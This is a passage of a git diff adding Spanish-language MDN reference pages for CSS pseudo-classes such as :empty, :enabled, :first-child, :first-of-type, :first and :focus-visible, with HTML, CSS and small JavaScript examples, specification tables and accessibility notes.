+<p>Este ejemplo muestra un formulario de envío básico. Utiliza el evento <a href="/es/docs/Web/JavaScript">JavaScript</a> {{event("change")}} para permitir al usuario habilitar / deshabilitar los campos de facturación.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form action="#"&gt;
+  &lt;fieldset id="shipping"&gt;
+    &lt;legend&gt;Dirección de Envío&lt;/legend&gt;
+    &lt;input type="text" placeholder="Nombre"&gt;
+    &lt;input type="text" placeholder="Dirección"&gt;
+    &lt;input type="text" placeholder="Código postal"&gt;
+  &lt;/fieldset&gt;
+  &lt;br&gt;
+  &lt;fieldset id="billing"&gt;
+    &lt;legend&gt;Dirección de facturación&lt;/legend&gt;
+    &lt;label for="billing_is_shipping"&gt;Igual que la dirección de envío:&lt;/label&gt;
+    &lt;input type="checkbox" id="billing-checkbox" checked&gt;
+    &lt;br&gt;
+    &lt;input type="text" placeholder="Nombre" disabled&gt;
+    &lt;input type="text" placeholder="Dirección" disabled&gt;
+    &lt;input type="text" placeholder="Código postal" disabled&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input[type="text"]:disabled {
+  background: #ccc;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">// Esperar a que la página termine de cargarse
+document.addEventListener('DOMContentLoaded', function () {
+  // Adjunte el detector de eventos `change` al checkbox
+  document.getElementById('billing-checkbox').onchange = toggleBilling;
+}, false);
+
+function toggleBilling() {
+  // Seleccione los campos de texto de facturación
+  var billingItems = document.querySelectorAll('#billing input[type="text"]');
+
+  // Alternar los campos de texto de facturación
+  for (var i = 0; i &lt; billingItems.length; i++) {
+    billingItems[i].disabled = !billingItems[i].disabled;
+  }
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplo', 300, 250)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-disabled', ':disabled')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-disabled', ':disabled')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Define la semántica referente a HTML y los formularios.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#enableddisabled', ':disabled')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#pseudo-classes', ':disabled')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Referencia a los selectores de Nivel 3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#enableddisabled', ':disabled')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Define la pseudo clase pero no la semántica asociada..</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("css.selectors.disabled")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>
+  <p>{{Cssxref(":enabled")}}</p>
+ </li>
+</ul>
diff --git a/files/es/web/css/_colon_empty/index.html b/files/es/web/css/_colon_empty/index.html
new file mode 100644
index 0000000000..d86e01d306
--- /dev/null
+++ b/files/es/web/css/_colon_empty/index.html
@@ -0,0 +1,106 @@
+---
+title: ':empty'
+slug: 'Web/CSS/:empty'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:empty'
+---
+<div>{{ CSSRef() }}</div>
+
+<div>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:empty</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa cualquier elemento que no tenga hijos. Los hijos pueden ser nodos de elemento o texto (incluido el espacio en blanco). Los comentarios o las instrucciones de procesamiento no afectan si un elemento se considera vacío.</div>
+
+<div></div>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> En {{SpecName("CSS4 Selectors", "#the-empty-pseudo")}} la pseudo-clase <code>:empty</code> fue modificada para actuar como <span style="white-space: nowrap;">{{CSSxRef(":-moz-only-whitespace")}}</span>, pero ningún navegador actualmente suporta aún esto.</p>
+</div>
+
+<pre class="brush: css">/* Selecciona cualquier &lt;div&gt; que no contenga contenido */
+div:empty {
+  background: lime;
+}</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre>{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="box"&gt;&lt;!-- Voy a ser de color lima. --&gt;&lt;/div&gt;
+&lt;div class="box"&gt;Voy a ser de color rosa.&lt;/div&gt;
+&lt;div class="box"&gt;
+    &lt;!-- Seré de color rosa debido a los espacios en blanco alrededor de este comentario. --&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  display: flex;
+  justify-content: space-around;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.box {
+  background: pink;
+  height: 80px;
+  width: 80px;
+}
+
+.box:empty {
+  background: lime;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplo', 300, 80)}}</p>
+
+<h2 id="Problemas_de_accesibilidad">Problemas de accesibilidad</h2>
+
+<p>La tecnología de asistencia, como los lectores de pantalla, no puede analizar el contenido interactivo que está vacío. Todo el contenido interactivo debe tener un nombre accesible, que se crea proporcionando un valor de texto para el elemento principal del control interactivo (<a href="/es/docs/Web/HTML/Element/a">anclajes</a>, <a href="/es/docs/Web/HTML/Element/button">botones</a>, etc.). Los nombres accesibles exponen el control interactivo al <a href="/es/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">árbol de accesibilidad</a>, una API que comunica información útil para las tecnologías de asistencia.</p>
+
+<p>El texto que proporciona el nombre accesible del control interactivo se puede ocultar mediante una <a href="https://gomakethings.com/hidden-content-for-better-a11y/#hiding-the-link">combinación de propiedades</a> que lo eliminan visualmente de la pantalla, pero que la tecnología de asistencia lo puede analizar. Esto se usa comúnmente para botones que dependen solo de un ícono para transmitir el propósito.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/04/what-is-an-accessible-name/">Qué es un nombre accesible (What is an accessible name?) | The Paciello Group</a></li>
+ <li><a href="https://gomakethings.com/hidden-content-for-better-a11y/">Contenido oculto para mejor a11y (Hidden content for better a11y) | Go Make Things</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_%E2%80%94_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN entendiendo WCAG, explicaciones para el lineamiento 2.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-refs.html">Understanding Success Criterion 2.4.4  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#empty-pseudo', ':empty') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#empty-pseudo', ':empty') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("css.selectors.empty")}}</p>
+</div>
diff --git a/files/es/web/css/_colon_enabled/index.html b/files/es/web/css/_colon_enabled/index.html
new file mode 100644
index 0000000000..c91360c9ab
--- /dev/null
+++ b/files/es/web/css/_colon_enabled/index.html
@@ -0,0 +1,103 @@
+---
+title: ':enabled'
+slug: 'Web/CSS/:enabled'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:enabled'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <code>:enabled</code> <a href="/es/docs/Web/CSS">CSS</a> representa cualquier elemento habilitado. Un elemento está habilitado si puede ser activado (es decir seleccionado, se puede hacer click en él, acepta que se le introduzca texto, etc.) o si accepta el foco. El elemento también tiene un estado deshabilitado el en cuál, no puede ser activado ni acepta el foco.</p>
+
+<pre class="brush: css">/* Selecciona cualquier &lt;input&gt; habilitado */
+input:enabled {
+  color: blue;
+}</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre>{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>El siguiente ejemplo hace que el color del texto y el botón {{htmlElement ("input")}} sean verdes cuando están habilitados, y grises cuando están deshabilitados. Esto ayuda al usuario a comprender con qué elementos se puede interactuar.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form action="url_of_form"&gt;
+  &lt;label for="FirstField"&gt;Primer campo (habilitado):&lt;/label&gt;
+  &lt;input type="text" id="FirstField" value="Lorem"&gt;&lt;br&gt;
+
+  &lt;label for="SecondField"&gt;Segundo campo (deshabilitado):&lt;/label&gt;
+  &lt;input type="text" id="SecondField" value="Ipsum" disabled="disabled"&gt;&lt;br&gt;
+
+  &lt;input type="button" value="Enviar"&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input:enabled {
+  color: #2b2;
+}
+
+input:disabled {
+  color: #aaa;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Ejemplo", 550, 95)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-enabled', ':enabled')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-enabled', ':enabled')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Define la semántica en relación con HTML y los formularios.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#enableddisabled', ':enabled')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#pseudo-classes', ':enabled')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Enlaza con selectores nivel 3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#enableddisabled', ':enabled')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Define la pseudo clase pero no la semántica asociada.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("css.selectors.enabled")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Cssxref(":disabled")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_first-child/index.html b/files/es/web/css/_colon_first-child/index.html
new file mode 100644
index 0000000000..225aa2ffa5
--- /dev/null
+++ b/files/es/web/css/_colon_first-child/index.html
@@ -0,0 +1,133 @@
+---
+title: ':first-child'
+slug: 'Web/CSS/:first-child'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:first-child'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:first-child</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa el primer elemento entre un grupo de elementos hermanos.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;p&gt; que sea el primer
+   elemento entre sus hermanos */
+p:first-child {
+  color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Como se definió originalmente, el elemento seleccionado tenía que tener un padre. Comenzando con el Nivel 4 de Selectores, esto ya no es necesario.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p&gt;¡Este texto está seleccionado!&lt;/p&gt;
+  &lt;p&gt;Este texto no está seleccionado.&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+  &lt;h2&gt;Este texto no está seleccionado: no es un `p`.&lt;/h2&gt;
+  &lt;p&gt;Este texto no está seleccionado.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p:first-child {
+  color: lime;
+  background-color: black;
+  padding: 5px;
+}
+</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p><span>{{EmbedLiveSample('Ejemplo_básico', 500, 200)}}</span></p>
+
+<h3 id="Diseñando_una_lista">Diseñando una lista</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Objeto 1&lt;/li&gt;
+  &lt;li&gt;Objeto 2&lt;/li&gt;
+  &lt;li&gt;Objeto 3
+    &lt;ul&gt;
+      &lt;li&gt;Objeto 3.1&lt;/li&gt;
+      &lt;li&gt;Objeto 3.2&lt;/li&gt;
+      &lt;li&gt;Objeto 3.3&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">ul li {
+  color: blue;
+}
+
+ul li:first-child {
+  color: red;
+  font-weight: bold;
+}</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p><span>{{EmbedLiveSample('Diseñando_una_lista')}}</span></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#first-child-pseudo', ':first-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Los elementos coincidentes no requieren tener un padre.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-child-pseudo', ':first-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#first-child', ':first-child')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.first-child")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref(":first-of-type")}}, {{cssxref(":last-child")}}, {{cssxref(":nth-child")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_first-of-type/index.html b/files/es/web/css/_colon_first-of-type/index.html
new file mode 100644
index 0000000000..d219d9cd70
--- /dev/null
+++ b/files/es/web/css/_colon_first-of-type/index.html
@@ -0,0 +1,114 @@
+---
+title: ':first-of-type'
+slug: 'Web/CSS/:first-of-type'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:first-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:first-of-type</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa el primer elemento de su tipo entre un grupo de elementos hermanos.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;p&gt; que sea el primer elemento
+   de este tipo entre sus hermanos */
+p:first-of-type {
+  color: red;
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Como se definió originalmente, el elemento seleccionado tenía que tener un padre. Comenzando con el Nivel 4 de Selectores, esto ya no es necesario.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Diseñando_el_primer_párrafo">Diseñando el primer párrafo</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h2&gt;Encabezado&lt;/h2&gt;
+&lt;p&gt;Párrafo 1&lt;/p&gt;
+&lt;p&gt;Párrafo 2&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p:first-of-type {
+  color: red;
+  font-style: italic;
+}</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample('Diseñando_el_primer_párrafo')}}</p>
+
+<h3 id="Elementos_anidados">Elementos anidados</h3>
+
+<p>Este ejemplo muestra cómo los elementos anidados también pueden utilizarse. Tenga en cuenta que el <a href="/es/docs/Web/CSS/Universal_selectors">selector universal</a> (<code>*</code>) está implícito cuando no se escribe un selector simple.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;div&gt;!Este `div` es primero!&lt;/div&gt;
+  &lt;div&gt;¡Este &lt;span&gt;`span` anidado es el primero&lt;/span&gt;!&lt;/div&gt;
+  &lt;div&gt;¡Este &lt;em&gt;`em` anidado es el primero&lt;/em&gt;, pero este &lt;em&gt;`em` anidado es el último&lt;/em&gt;!&lt;/div&gt;
+  &lt;div&gt;¡Este &lt;span&gt;`span` anidado tiene estilo&lt;/span&gt;!&lt;/div&gt;
+  &lt;b&gt;¡Este `b` califica!&lt;/b&gt;
+  &lt;div&gt;Este es el `div` final.&lt;/div&gt;
+&lt;/article&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">article :first-of-type {
+  background-color: pink;
+}</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample('Elementos_anidados', 500)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Los elementos coincidentes no requieren tener un padre.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.first-of-type")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Cssxref(":first-child")}}, {{Cssxref(":last-of-type")}}, {{Cssxref(":nth-of-type")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_first/index.html b/files/es/web/css/_colon_first/index.html
new file mode 100644
index 0000000000..2f02c35bd7
--- /dev/null
+++ b/files/es/web/css/_colon_first/index.html
@@ -0,0 +1,97 @@
+---
+title: ':first'
+slug: 'Web/CSS/:first'
+tags:
+  - '@page'
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:first'
+---
+<div>{{CSSRef}}</div>
+
+<div>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <code>:first</code> de <a href="/es/docs/Web/CSS">CSS</a>, utilizada con la <a href="/es/docs/Web/CSS/At-rule">regla-at</a> {{cssxref("@page")}}, representa la primera página de un documento impreso.</div>
+
+<div> </div>
+
+<pre class="brush: css">/* Selecciona la primera página al imprimir */
+@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}</pre>
+
+<div class="note"><strong>Nota:</strong> No puede cambiar todas las propiedades de CSS con esta pseudoclase. Solo puede cambiar los márgenes, {{cssxref("orphans")}}, {{cssxref("widows")}} y saltos de página del documento. Además, solo puede usar unidades de <a href="/es/docs/Web/CSS/length#Absolute_length_units">longitud absoluta</a> al definir los márgenes. Todas las otras propiedades serán ignoradas.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre>{{csssyntax}}</pre>
+
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Primera página.&lt;/p&gt;
+&lt;p&gt;Segunda página.&lt;/p&gt;
+&lt;button&gt;Imprimir!&lt;/button&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}
+
+p {
+  page-break-after: always;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.querySelector("button").onclick = function () {
+  window.print();
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>Presione el botón "Imprimir!" para imprimir el ejemplo. Las palabras en la primera página deben estar en algún lugar del centro, mientras que otras páginas tendrán sus contenidos en la posición predeterminada.</p>
+
+<p>{{ EmbedLiveSample('Ejemplo', '80%', '150px') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#left-right-first', ':first')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#page-selectors', ':first')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("css.selectors.first")}}</p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Cssxref("@page")}}</li>
+ <li>Otras pseudo-clases relacionadas con página: {{Cssxref(":left")}}, {{Cssxref(":right")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_focus-visible/index.html b/files/es/web/css/_colon_focus-visible/index.html
new file mode 100644
index 0000000000..53212edeac
--- /dev/null
+++ b/files/es/web/css/_colon_focus-visible/index.html
@@ -0,0 +1,128 @@
+---
+title: ':focus-visible'
+slug: 'Web/CSS/:focus-visible'
+translation_of: 'Web/CSS/:focus-visible'
+---
+<div>{{CSSRef}}</div>
+
+<p>La pseudo-clase <strong><code>:focus-visible</code></strong>  se aplica mientras un elemento coincide con la pseudo-clase {{CSSxRef(":focus")}} y el  UA (<a href="/en-US/docs/Glossary/User_agent">Agente de Usuario</a>) determina mediante heurística que el foco debe hacerse evidente en el elemento. (Muchos navegdores muestras un "anillo de enfoque" por defecto en este caso.</p>
+
+<p>Este selector es útil para proporcionar un indicador de enfoque diferente basado en la modalidad de entrada del usuario (ratón vs teclado).</p>
+
+<p>Nótese que Firefox soporta una funcionalidad similar a través de una pseudo-clase prefijada — {{CSSxRef(":-moz-focusring")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplos_básicos">Ejemplos básicos</h3>
+
+<p>En este ejemplo, el selector  <code>:focus-visible</code> usa el comportamiento del UA para deteminar cuándo emparejar. Compara lo que sucede cuando haces clic en los diferentes controles con un ratón con lo que sucede cuando los atraviesas con el teclado. Note la diferencia de comportamiento con respecto a los elementos con estilo <code>:focus</code>.</p>
+
+<pre class="brush: html notranslate">&lt;input value="Default styles"&gt;&lt;br&gt;
+&lt;button&gt;Default styles&lt;/button&gt;&lt;br&gt;
+&lt;input class="focus-only" value=":focus only"&gt;&lt;br&gt;
+&lt;button class="focus-only"&gt;:focus only&lt;/button&gt;&lt;br&gt;
+&lt;input class="focus-visible-only" value=":focus-visible only"&gt;&lt;br&gt;
+&lt;button class="focus-visible-only"&gt;:focus-visible only&lt;/button&gt;</pre>
+
+<pre class="brush: css highlight[9] notranslate">input, button {
+  margin: 10px;
+}
+
+.focus-only:focus {
+  outline: 2px solid black;
+}
+
+.focus-visible-only:focus-visible {
+  outline: 4px dashed darkorange;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Basic_example", "100%", 300)}}</p>
+
+<h3 id="Mostrando_selectivamente_el_indicador_de_enfoque">Mostrando selectivamente el indicador de enfoque</h3>
+
+<p>Un control personalizado, como un botón de <a href="/en-US/docs/User:Andreas_Wuest/Custom_Elements">elemento personalizado</a>, puede utilizar <code>:focus-visible</code> para aplicar selectivamente un indicador de enfoque sólo en el enfoque del teclado. Esto coincide con el comportamiento de enfoque nativo para controles como {{htmlelement("button")}}.</p>
+
+<pre class="brush: html notranslate">&lt;custom-button tabindex="0" role="button"&gt;Click Me&lt;/custom-button&gt;</pre>
+
+<pre class="brush: css highlight[13, 19] notranslate">custom-button {
+  display: inline-block;
+  margin: 10px;
+}
+
+custom-button:focus {
+  /* Provide a fallback style for browsers
+     that don't support :focus-visible */
+  outline: none;
+  background: lightgrey;
+}
+
+custom-button:focus:not(:focus-visible) {
+  /* Remove the focus indicator on mouse-focus for browsers
+     that do support :focus-visible */
+  background: transparent;
+}
+
+custom-button:focus-visible {
+  /* Draw a very noticeable focus style for
+     keyboard-focus on browsers that do support
+     :focus-visible */
+  outline: 4px dashed darkorange;
+  background: transparent;
+}</pre>
+
+<p>{{EmbedLiveSample("Selectively_showing_the_focus_indicator", "100%", 300)}}</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>You can polyfill <code>:focus-visible</code> usando <a href="https://github.com/WICG/focus-visible">focus-visible.js</a>.</p>
+
+<h2 id="Problemas_de_accesibilidad">Problemas de accesibilidad</h2>
+
+<h3 id="Baja_visión">Baja visión</h3>
+
+<p>Asegúrate de que el indicador de enfoque visual pueda ser visto por personas con baja visión. Esto también beneficiará a cualquier persona que utilice una pantalla en un espacio brillantemente iluminado (como el exterior en el sol). <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Contraste Sin Texto</a> requiere que el indicador de enfoque visual sea al menos 3 a 1.</p>
+
+<ul>
+ <li>Indicadores de enfoque visual accesibles: <a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">Déle a su sitio un poco de enfoque! Consejos para diseñar indicadores de enfoque útiles y utilizables</a></li>
+</ul>
+
+<h3 id="Cognición">Cognición</h3>
+
+<p>Puede que no sea obvio por qué el indicador de enfoque aparece y desaparece si una persona está utilizando formas mixtas de entrada. Para los usuarios con preocupaciones cognitivas, o que tienen menos conocimientos tecnológicos, esta falta de comportamiento consistente para los elementos interactivos puede ser confusa.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table" style="">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-focus-visible-pseudo", ":focus-visible")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir a los datos, por favor, visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de extracción.</div>
+
+<p>{{Compat("css.selectors.focus-visible")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{CSSxRef(":focus")}}</li>
+ <li>{{CSSxRef(":focus-within")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_focus-within/index.html b/files/es/web/css/_colon_focus-within/index.html
new file mode 100644
index 0000000000..5628c3b8bc
--- /dev/null
